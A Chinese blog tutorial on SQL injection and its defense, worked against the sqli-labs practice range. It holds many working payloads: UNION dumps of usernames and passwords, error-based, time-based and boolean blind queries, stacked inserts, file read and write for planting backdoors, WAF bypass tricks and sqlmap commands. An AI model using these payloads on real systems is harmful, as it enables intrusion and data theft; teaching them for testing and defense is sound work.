SQL注入及其防御

一,什么是SQL注入

SQL注入是一种攻击技术,通过在应用程序的输入中插入恶意的SQL代码,从而使攻击者能够执行未经授权的数据库操作。这种攻击通常利用了应用程序对用户输入的不正确处理,使得攻击者能够执行任意的SQL语句,包括删除、修改或者获取数据库中的数据。SQL注入是一种常见的网络安全威胁,可以导致严重的数据泄露和系统瘫痪。为了防止SQL注入攻击,开发人员应该对用户输入进行严格的验证和过滤,使用参数化查询等安全的数据库操作方法。

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

而Web应用程序的三层架构通常包括以下三个层次:

  1. 表现层(Presentation Layer):也称为用户界面层,负责与用户进行交互,向用户展示信息并接收用户输入。通常包括网页设计、前端开发和用户体验设计等工作。表现层通常包括HTML、CSS、JavaScript等技术,以及前端框架和库。
  2. 业务逻辑层(Business Logic Layer):也称为逻辑层,负责处理应用程序的业务逻辑和流程,包括数据处理、验证、计算和决策等。这一层通常包括应用程序的后端代码,例如服务器端脚本、应用程序逻辑和业务规则等。在这一层,通常会涉及到数据库访问、数据处理、安全性和业务规则的实现等。
  3. 数据访问层(Data Access Layer):也称为持久层,负责处理数据的存储和检索,与数据库进行交互。这一层通常包括数据库管理系统(DBMS)的操作、数据访问对象(DAO)、ORM(对象关系映射)等技术。数据访问层负责将业务逻辑层的请求转化为对数据库的操作,同时也负责将数据库返回的数据传递给业务逻辑层。

这种三层架构的设计模式有助于将应用程序的不同功能和责任分离开来,提高了应用程序的可维护性、扩展性和重用性。同时,也有利于团队合作,因为不同的开发人员可以专注于不同的层次进行开发。

而SQL注入,或者说SQL语句在业务逻辑层(服务器)到数据访问层(数据库)之间执行;

二,数据库

数据库是一个有组织的数据集合,用于存储和管理大量数据的系统。数据库系统可以帮助用户轻松地访问、管理和更新数据。数据库通常由一个或多个表组成,每个表包含多个行和列,用于存储特定类型的数据。

常见的数据库可以分为关系型数据库和非关系型数据库;

1,关系型数据库:

关系型数据库是一种基于关系模型的数据库,它使用表格(表)来组织和存储数据。在关系型数据库中,数据以行和列的形式存储在表格中,每一行代表一个记录,每一列代表一个属性。表格之间可以通过关系(关联)进行连接,从而形成复杂的数据结构。

常见的关系型数据库包括MySQL、Oracle、SQL Server、PostgreSQL、SQLite等。关系型数据库通常用于需要高度结构化数据和复杂查询的应用场景,例如企业应用、金融系统、电子商务平台等。

2,非关系型数据库:

非关系型数据库(NoSQL数据库)是一种不基于传统关系模型的数据库系统,它们使用不同的数据模型来存储和检索数据。非关系型数据库通常用于处理大量非结构化或半结构化数据,以及需要高度可扩展性和灵活性的应用场景。

常见的非关系型数据库包括MongoDB(文档型数据库)、Redis(键值型数据库)、Cassandra(列族型数据库)、Neo4j(图形型数据库)等。非关系型数据库通常用于大数据、实时分析、内容管理系统、社交网络等需要处理大规模数据和高并发访问的应用场景。

三,手工注入

1,MySQL数据库

2,SQL注入

(1),判断有没有注入点

后拼接 and 1 = 1
//若无报错,则证明有注入点
//后面接随便的内容
报错--->说明后面的内容被执行--->有注入点
没有报错--->后面的内容被过滤--->没有注入点

(2),猜解列名数量(字段数量)

order by 数字--->通过报错判断字段数量

(3),判断回显点

通过union后拼接SQL语句判断回显点的个数

(4),通过回显点进行信息收集

(5),注入

通过查询到的数据库名称为:security

查看该数据库下的所有表

拼接语句:

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
//所有的符号都是英文输入法下

得到了回显结果;

接下来查看users表内的字段;

拼接语句;

union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273

得到回显结果;

接下来需要的字段为username,password;

拼接语句;

union select 1,2,(select group_concat(username,0x3a,password)from users)

得到回显结果;

3,高权限注入

(1),MySQL的用户权限

在数据库中区分有数据库系统用户数据库普通用户,二者的划分主要体现在对一些高级函数与资源表的访问权限上。直白一些就是高权限系统用户拥有整个数据库的操作权限,而普通用户只拥有部分已配置的权限。

网站在创建的时候会调用数据库链接,会区分系统用户链接普通用户链接;当多个网站存在一个数据库的时候,root就拥有最高权限可以对多个网站进行管辖,普通用户仅拥有当前网站和配置的部分权限。所以当我们获取到普通用户权限时,我们只拥有单个数据库权限,甚至文件读写失败;取得高权限用户权限,不仅可以查看所有数据库,还可以对服务器文件进行读写操作。

多个网站共享同一台MySQL服务器;同一台MySQL服务器上会部署多个数据库;

MySQL中存在四张控制权限的表;

分别是为user表,db表,tables_priv表,columns_priv表

mysql权限表的验证过程为:

    先从user表中的Host,User,Password这3个字段中判断连接的ip、用户名、密码是否存在,存在则通过验证。

    通过身份认证后,进行权限分配,
    按照user,db,tables_priv,columns_priv的顺序进行验证。
    即先检查全局权限表user,如果user中对应的权限为Y,则此用户对所有数据库的权限都为Y,
    将不再检查db, tables_priv,columns_priv;如果为N,则到db表中检查此用户对应的具体数据库,
    并得到db中为Y的权限;如果db中为N,则检查tables_priv中此数据库对应的具体表,取得表中的权限Y,以此类推。

有关MySQL权限的操作
1,查看mysql 有哪些用户:

select user,host from mysql.user;

2,查看用户对应权限

select * from user where user='root' and host='localhost'\G;

3,创建 mysql 用户

CREATE USER 'test'@'localhost' IDENTIFIED BY '123456';

4,只提供id查询权限

grant select(id) on test.temp to test@'localhost' identified by '123456';

5,把普通用户变成管理员

GRANT ALL PRIVILEGES ON *.* TO 'test'@'localhost' WITH GRANT OPTION;

 6,删除用户

drop user finley@'test';

(2),注入

高权限的注入首先要判断该用户是否为root用户;

查询所有数据库的名称;

union select 1,group_concat(schema_name),3 from information_schema.schemata
//库名存储在information_schema.schemata内的schema_name字段中

查询数据库对应的表名;

union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=0x616161
//其中0x616161是16进制编码格式

接着可以查询表名对应的字段名和字段对应的内容;

(3),对文件进行读写

  1. 利用root用户(最高权限)对文件进行读写;
  2. 读取用户的信息,如账号,密码;
  3. 读取配置信息;
  4. 植入一句话木马,留作后门;

高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限

在对文件进行读写操作之前首先打开这个选项;

修改其配置文件,使存在 secure_file_priv='';

这样,高权限root就对文件有了读写的权限;

读取文件;

使用函数:load_file()

后面的路径可以是单引号,0x,char转换的字符。

注意:路径中斜杠是/不是\。

一般可以与union中做为一个字段使用,查看config.php(即mysql的密码),apache配置...

union select 1,load_file('d:/hello.txt'),3

写入文件;

使用函数:Into Outfile(能写入多行,按格式输出)和 into Dumpfile(只能写入一行且没有输出格式)

outfile 后面不能接0x开头或者char转换以后的路径,只能是单引号路径

union select 1,'i do not love you',3 into outfile 'd:/hi.txt'--
--后面的--起到了注释的作用

4,SQL注入的基础防御

魔术引号

魔术引号(Magic Quote)是一个自动将进入 PHP 脚本的数据进行转义的过程。

最好在编码时不要转义而在运行时根据需要而转义;

内置函数

进行判断从而对数据类型过滤,达到防御的目的

is_int()   //检查传过来的内容是否为int型

addslashes()

自定义关键字

对查询的关键字select,union等字符进行过滤

str_replace('要被替换的字符','被替换成什么字符',变量)     //str_replace()函数是PHP中的一个字符串替换函数,用于在一个字符串中替换指定的子字符串。该函数接受三个参数:要替换的子字符串、用来替换的新字符串、以及要进行替换操作的原始字符串。该函数会在原始字符串中找到并替换所有匹配的子字符串,并返回替换后的新字符串。

其他web安全防护软件 WAF ......

四,SQL注入的数据类型和提交方式

1,数据类型

(1),数字型注入点

许多网页链接有类似的结构 http://xxx.com/users.php?id=1 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。这一类的 SQL 语句原型大概为:

select * from 表名 where id=1

若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:

select * from 表名 where id=1 and 1=1

(2),字符型注入点

网页链接有类似的结构 http://xxx.com/users.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为

select * from 表名 where name='admin'

值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:

select * from 表名 where name='admin' and 1=1 '

通过添加单引号闭合前面的单引号;

(3),搜索型注入点

在sql语句中含有like进行模糊查询;含有%(通配符),在进行注入时要用%进行闭合;

这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 "keyword=关键字" 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:

select * from 表名 where 字段 like '%关键字%'

若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:

select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'

(4),XX型注入点

存在不同的闭合符;

其他型:也就是由于SQL语句拼接方式不同,在SQL中的实际语句为:,其本质为(xx') or 1=1 # )

常见的闭合符号:' '' % ( {

目的都是为了闭合部分sql语句来找到注入点;

2,提交方式

(1),GET方式

应用场景:用于传递不敏感的数据;数据安全不重要;

优点:传递速度更快;

通过url将参数传递到后端服务器的数据库中进行匹配

方法:使用 union 联合查询进行注入

(2),POST方式

post提交方式主要适用于表单的提交,用于登录框的注入

优点:数据安全,长度不限;

方法:利用BurpSuite抓包进行重放修改内容进行,和get差别是需要借助抓包工具进行测试,返回结果主要为代码,也可转化为网页显示

(3),Request方式

概念:超全局变量 PHP中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可以用,这些超全局变量是:

$REQUEST(获取GET/POST/COOKIE)COOKIE在新版本已经无法获取了

$POST(获取POST传参)

$GET(获取GET传参)

$COOKIE(获取COOKIE传参)

$_SERVER(包含了诸如头部信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)

五,不同的SQL注入方式

1,查询方式

在sql语句中,主要涉及到的有增(insert)删(delete)改(update)查(select)四种;

且依赖于上面的四种关键字;并且只有select存在回显点;其他三种一般不会存在回显点;

insert 插入数据

inser into user (id,name,pass) values(1,'zhangsan','1234')

delete 删除数据

delete from user where id=$id

update 更新数据

update user set pwd='p' where id=1

select 查询数据

select * from user where id=$id

2,报错注入

首先,XML是可扩展标记语言(eXtensible Markup Language)的缩写,是一种用于标记电子文件结构和内容的标记语言。XML被设计用来传输和存储数据,是一种通用的数据交换格式。XML的设计宗旨是简单、通用、易于阅读和创建。XML是一种纯文本格式,可以被人类和计算机读取。XML被广泛应用于Web开发、数据交换、配置文件等领域。

在后续的高版本数据库中,可以直接读取XML格式的文件;

updatexml():从目标XML中更改包含所查询值的字符串(替换字符串)

第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC

第二个参数:XPath_string(Xpath格式字符串)

第三个参数:new_value,String格式,替换查找到的符合条件的数据

updatexml(XML_document,XPath_String,new_value);

'or updatexml(1,concat(0x7e,database()),0)or'

extractvalue():从目标XML中返回包含所查询值的字符串(查询指定的字符串)

第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC

第二个参数:XPath_String (Xpath格式字符串)

extractvalue(XML_document,XPath_String)

' or extractvalue(1,concat(0x7e,database())) or'

' union select 1,extractvalue(1,concat(0x7e,(select version())))%23

以sql-libs靶场为例(进行注入);

uname=admin 'union select 1,extractvalue(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema=database()limit 1,1),0x7e)) # &passwd=123456&submit=Submit

通过limit n,1 改变n来回显得到的表名;

3,报错注入floor

下面给出sql语句中常用的一些函数;

floor() 向下取整 floor(10.5) = 10 (取整函数)

rand()随机数 0 ~ 1之间(生成随机数)   # rand(0) 伪随机数(固定不变的);

count(*)函数返回表的记录数(计数函数)

concat函数:将多个字符串连接成一个字符串(连接函数)

group_by 根据by对数据按照哪个字段、进行分组,或者是哪几个字段进行分组(去重), 会建立一张临时表

floor()报错需要满足的条件:

  1. floor()报错只适用于MySQL8.0以前的版本;
  2. 注入语句中查询用到的表内数据必须>=3条;
  3. 需要用到的count(*)、floor()或者ceil()、rand()、group by;

注入一,爆破出当前数据库

?id=1' and (select 1 from (select concat((select database()),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)c)--+

注入二,爆出所有的数据库 通过limit来控制

?id=1' and (select 1 from (select concat((select schema_name from information_schema.schemata limit 4,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)--+

注入三,爆出表名

?id=1' and (select 1 from (select concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)--+

注入四,爆出字段

?id=1' and (select 1 from (select concat((select column_name from information_schema.columns where table_name='user' limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)--+

注入五,爆出数据

?id=1' and (select 1 from (select concat((select username from users),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)--+

4,延时(时间)注入

下面给出sql语句中常用的一些函数;

sleep():Sleep 函数可以使计算机程序(进程,任务或线程)进入休眠

if(): i f 是 计算机编程语言一个关键字,分支结构的一种

mid(a,b,c): 从b开始,截取a字符串的c位

substr(a,b,c): 从b开始,截取字符串a的c长度

left(a,b) : left(a,b)从左侧截取a的前b位

length() : 判断长度

ord=ascii ascii(x)=100: 判断x的ascii值是否为100

注入一;

首先利用sleep()和if()进行一个简单的延时注入;

?id=1 and sleep(if(database()='test',1,10))--+

可以用来猜测当前数据库的名称,根据响应时间,若响应时间较长则可以证明数据库名称不是test;

注入二;

配合mid()的延时注入(增加盲注的效率);

?id=1 and sleep(if(mid(database(),1,1)='a',1,5))--+

注入三;

使用ascii()函数;

推荐使用ASCII码

1.防止引号 ‘ “ 转义

2.方便以后工具的使用

?id=1 and if(ascii(mid(database(),1,1))=115,sleep(5),0)--+
?id=1 and sleep(if(ascii(mid(database(),1,1))=115,5,0))--+

可以将等号变为大于号或者小于号,配合二分法进行查找;

5,布尔盲注

SQL布尔盲注是一种SQL注入攻击的技术之一,它利用了数据库在查询时返回的布尔值(True或False)来逐步推断数据库中的数据信息。攻击者可以通过构造特定的SQL查询语句,观察网页返回结果的变化来推断数据库中的数据信息。

首先需要判断有无注入点和判断数据类型(数字型或者字符型)

结合二分法首先猜解数据库名称(表名,字段名)的长度,然后再使用 mid() 函数将数据库名称(表名,字段名)进行切片;使用二分法结合 ascii() 函数进行逐步的猜解;

注入一;

猜解数据库名称的长度;

?id=1'and ascii(length(database()))=n --+
--对这里的n进行取值,猜解数据库名称的长度

注入二;

猜解数据库的名称;

?id=1'and ascii(mid(database(),1,1))>n--+
--对n进行取值,结合二分法,逐个猜解数据库的名称

6,加解密注入

数据在传输过程中可能会被加密之后再传递到后台中去;而注入过程中我们也需要将sql语句进行相同的加密再进行传递;

下面以sql-labs的靶场为例;

可以看出通过cookie传到后台的值被base64编码过;

所以在注入过程种,所使用的sql语句也要经过base64的编码,这样当sql语句传到后台被解码时,sql语句才会发挥作用;

7,堆叠注入(只适用于MySQL数据库)

在SQL语句中,分号 ;是用来表示一条sql语句的结束;但是在MySQL数据库中,分号(;)后面所添加的sql语句也会被执行;

而union injection(联合注入)也是将两条语句合并在一起 两者的区别就在于union执行语句类型有限,可以用来执行查询语句,而堆叠注入可以执行的是任意语句

?id=1;insert into users (id,username,password) values (30,mzz,password)--+

但是此种注入方式有很大的缺点(只适用于后台数据库为MySQL);

8,JSON注入

JSON是一种轻量级数据交换格式,全称为JavaScript Object Notation。它基于JavaScript的语法,用于在不同系统之间传输和存储数据JSON格式的数据是以键值对的形式组织的,易于阅读和编写,同时也易于解析和生成。在Web开发和API通信中广泛使用JSON格式来传输数据。

JSON(JavaScript Object Notation)中的数据类型包括:

  1. 字符串(String):用双引号括起来的文本数据,例如:"Hello, World"
  2. 数字(Number):整数或浮点数,例如:42,3.14
  3. 布尔值(Boolean):true 或 false
  4. 对象(Object):用花括号{}括起来的键值对集合,例如:{"name": "Alice", "age": 30}
  5. 数组(Array):用方括号[]括起来的有序数据集合,例如:[1, 2, 3]
  6. 空值(null):表示空值或缺失值

json是一个对象,其属性包含多种数据类型;

json注入原理:JSON注入是指应用程序所解析的JSON数据来源于不可信赖的数据源,程序没有对这些不可信赖的数据进行验证、过滤,如果应用程序使用未经验证的输入构造JSON,则可以更改JSON 数据的语义。

防御:按照实际需求对数据进行合理的过滤和安全校验;

json={"username":"admin' and 1=2 union select database(),version()#"}

9,XFF注入

XFF,是X-Forwarded-for的缩写,X-Forwarded-For是一个HTTP请求头,用于标识客户端的原始(真实)IP地址当请求通过代理服务器或负载均衡器时,代理服务器会将客户端的IP地址添加到X-Forwarded-For头中,然后将请求转发给服务器。服务器可以通过读取X-Forwarded-For头来获取客户端的真实IP地址,以便进行日志记录、安全验证或其他操作。

XFF的使用场景:

  1. 防止登录次数;
  2. 限制异地登录;

XFF的危害:

  • ①数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
  • ②网页篡改:通过操作数据库对特定网页进行篡改。
  • ③网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
  • ④数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
  • ⑤服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。

原理:XFF是HTTP请求的一个参数;并且可以与数据库进行数据交互;所以可以通过XFF参数的值来进行sql注入;

六,WAF绕过

首先看什么是WAF;

WAF是Web应用程序防火墙(Web Application Firewall)的缩写。它是一种网络安全技术,用于保护Web应用程序免受各种网络攻击,如SQL注入、跨站脚本攻击等。WAF可以检测和阻止恶意流量,从而增强Web应用程序的安全性。

WAF是Web应用程序防火墙(Web Application Firewall)的缩写。它是一种网络安全技术,用于保护Web应用程序免受各种网络攻击,如SQL注入、跨站脚本攻击等。WAF可以检测和阻止恶意流量,从而增强Web应用程序的安全性。

WAF拦截原理:WAF从规则库中匹配敏感字符进行拦截。

1,通过大小写混用;

有的WAF因为规则设计的问题,只匹配纯大写或纯小写的字符,对字符大小写混写直接无视,这时,我们可以利用这一点来进行绕过

union select ---> unIOn SeLEcT

2,编码绕过;

针对WAF过滤的字符编码,如使用URL编码,Unicode编码,十六进制编码,Hex编码等.

union select 1,2,3# =union%0aselect 1\u002c2,3%23

3,双写绕过;

部分WAF只对字符串识别一次,删除敏感字段并拼接剩余语句,这时,我们可以通过双写来进行绕过。

UNIunionON ,SELselectECT anandd

4,换行(\N)绕过;

select * from admin where username = \N union select 1,user() from admin

5,同义符号代替绕过;

    and=&&

    or=||

    =(等于号)=<、>

    空格不能使用=%09,%0a,%0b,%0c,%0d,%20,%a0等

    注:%0a是换行也可以替代空格

6,HTTP参数污染;

对目标发送多个参数,如果目标没有多参数进行多次过滤,那么WAF对多个参数只会识别其中的一个。

?id=1&id=2&id=3
?id=1/**&id=-1%20union%20select%201,2,3%23*/

7,内联注释绕过;

若WAF对关键函数,如database(),version() 等进行过滤;可以使用内联注释进行绕过;

select database();
--这样会被过滤掉;/* */为内联注释
--但是/*xx!xxx*/内联注释感叹号后面的部分会被执行
select database/* */();

WAF绕过的思路就是让WAF的检测规则,识别不到你所输入的敏感字符,利用上述所介绍的,灵活结合各种方法,从而可以增加绕过WAF的可能性;

七,自动化检测和利用(sqlmap)

1,sqlmap简介;

sqlmap是一个开源的渗透测试工具,用于自动化检测利用Web应用程序中的SQL注入漏洞。它被广泛用于安全专业人员和研究人员测试Web应用程序的安全性,并识别潜在的漏洞,这些漏洞可能会被攻击者利用。sqlmap能够检测各种类型的SQL注入漏洞,如盲注、基于错误的注入和基于时间的注入,并可用于提取数据库信息、转储表格,甚至接管底层数据库服务器。

sqlmap适用于市面上的大部分数据库;

2,sqlmap支持的注入方式

  1. 基于布尔类型的盲注:即可以根据返回页面判断条件真假的注入。

  2. 基于时间的盲注:即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。

  3. 基于报错注入:即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。

  4. 联合查询注入:在可以使用Union的情况下的注入。

  5. 堆查询注入:可以同时执行多条语句时的注入。

  6. 带外注入:构造SQL语句,这些语句在呈现给数据库时会触发数据库系统创建与攻击者控制的外部服务器的连接。以这种方式,攻击者可以收集数据或可能控制数据库的行为。

3,自动化注入

(1),get型

sqlmap.py -u "http://localhost/sqli-labs/Less-2/index.php?id=1"

可知该网站存在四种类型的注入;

常见的参数(选项):

-u:用于get提交方式,后面跟注入的url网址
--level
--risk

--dbs:获取所有数据库
--tales:获取所有数据表
--columns:获取所有字段
--dump:打印数据

-D:查询选择某个库
-T:查询选择某个表
-C:查询选择某个字段

(2),post型

使用burp抓包工具,将抓到的包保存到某个目录下;

sqlmap.py -r /*保存的txt文件路径*/ -p uname --dbs

得到的扫描结果;接下来可以猜解表名,字段名和数据;

常用的参数(选项):

-r表示指定一个文件
-p指定参数(指定位置)
--current-db 显示当前网站数据库
--forms 自动检测表单

八,总结

SQL注入是一种常见的网络安全漏洞,攻击者通过在输入字段中插入恶意的SQL代码来攻击数据库系统。

原理:SQL注入利用了应用程序对用户输入数据的信任,通过在输入字段中插入SQL代码来篡改原始SQL查询,实现非法操作。

危害:SQL注入可以导致数据库信息泄露、数据篡改、权限提升、拒绝服务等安全问题,严重情况下可能导致整个系统被控制。

预防措施:避免使用动态拼接SQL语句,使用参数化查询或存储过程来处理用户输入数据;限制数据库用户权限;对用户输入数据进行严格的验证和过滤等。

持续学习:由于SQL注入是一种常见的安全漏洞,开发人员和安全从业者需要持续学习最新的防御技术和攻击手法,保障系统安全。

  • 11
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
### 回答1: SQL注入是一种常见的网络安全漏洞,可以通过在应用程序的输入字段中插入恶意的SQL语句,从而绕过应用程序的安全机制,访问、更改或删除数据库中的数据。 SQL注入的攻击手段可以通过构造恶意的SQL语句来实现,例如在登录界面的用户名和密码输入框中输入'or 1=1 --,这会使应用程序的SQL查询条件变为:WHERE username='' OR 1=1 --',从而绕过用户名和密码的验证,直接登录到应用程序。 为了防止SQL注入攻击,我们需要采取一些防御措施。首先,我们需要进行输入验证和过滤,确保用户输入的数据符合预期的格式和类型,并且不包含恶意代码。其次,我们应该使用参数化查询或准备语句来构造SQL查询,而不是将用户输入直接拼接到查询语句中。这样可以将用户输入的数据作为参数传递给SQL查询,从而防止恶意代码的注入。另外,限制应用程序的数据库用户的权限,可以有效减少攻击者对数据库的操作权限。 除了以上措施,我们还可以使用Web应用程序防火墙(WAF)来检测和防止SQL注入攻击。WAF可以通过识别和拦截恶意的SQL语句,保护应用程序的安全性。 总而言之,SQL注入是一种常见的安全漏洞,对应用程序和数据库造成严重的威胁。为了防止SQL注入攻击,我们需要进行充分的输入验证和过滤,使用参数化查询或准备语句以及限制数据库用户的权限。同时,使用WAF可以提供额外的保护层级。只有综合使用这些防御措施,才能有效地保护应用程序免受SQL注入攻击的威胁。 ### 回答2: SQL注入是一种常见的网络安全漏洞,它允许攻击者通过操纵SQL查询语句来获取未授权的访问权限或者获得敏感数据。SQL注入攻击是通过将恶意的SQL代码插入到用户输入的数据中,以欺骗数据库服务器执行恶意操作。 为了防止SQL注入攻击,需要采取一系列的防御措施: 1. 输入验证:对用户的输入进行验证和过滤,确保输入数据符合预期的格式和类型。可以使用正则表达式、白名单验证或黑名单过滤等方法来限制用户输入的特殊字符和命令。 2. 使用参数化查询或预编译语句:使用参数化查询可以将用户的输入数据与SQL查询语句进行分离,从而避免将用户输入作为SQL语句的一部分执行。预编译语句也可以达到相同的效果,这样数据库会将查询和参数分开处理。 3. 最小权限原则:为数据库用户提供最小的权限,仅限于其所需的操作。这样即使发生SQL注入攻击,攻击者也无法执行敏感操作或者获取敏感数据。 4. 错误处理:不要向用户透露数据库错误信息,这可能包含有关数据库结构和其他敏感信息。在处理错误时,只返回给用户一个通用的错误信息,以防止攻击者通过错误信息获取更多有关数据库的信息。 5. 定期更新和补丁管理:及时更新和打补丁数据库系统,以修复已知的安全漏洞和风险。 总之,SQL注入是一种严重的网络安全威胁,但通过合适的防御措施,我们可以大大减少SQL注入攻击的风险。请大家注意保护自己的数据库和应用程序,确保数据的安全性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

慕舟舟

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值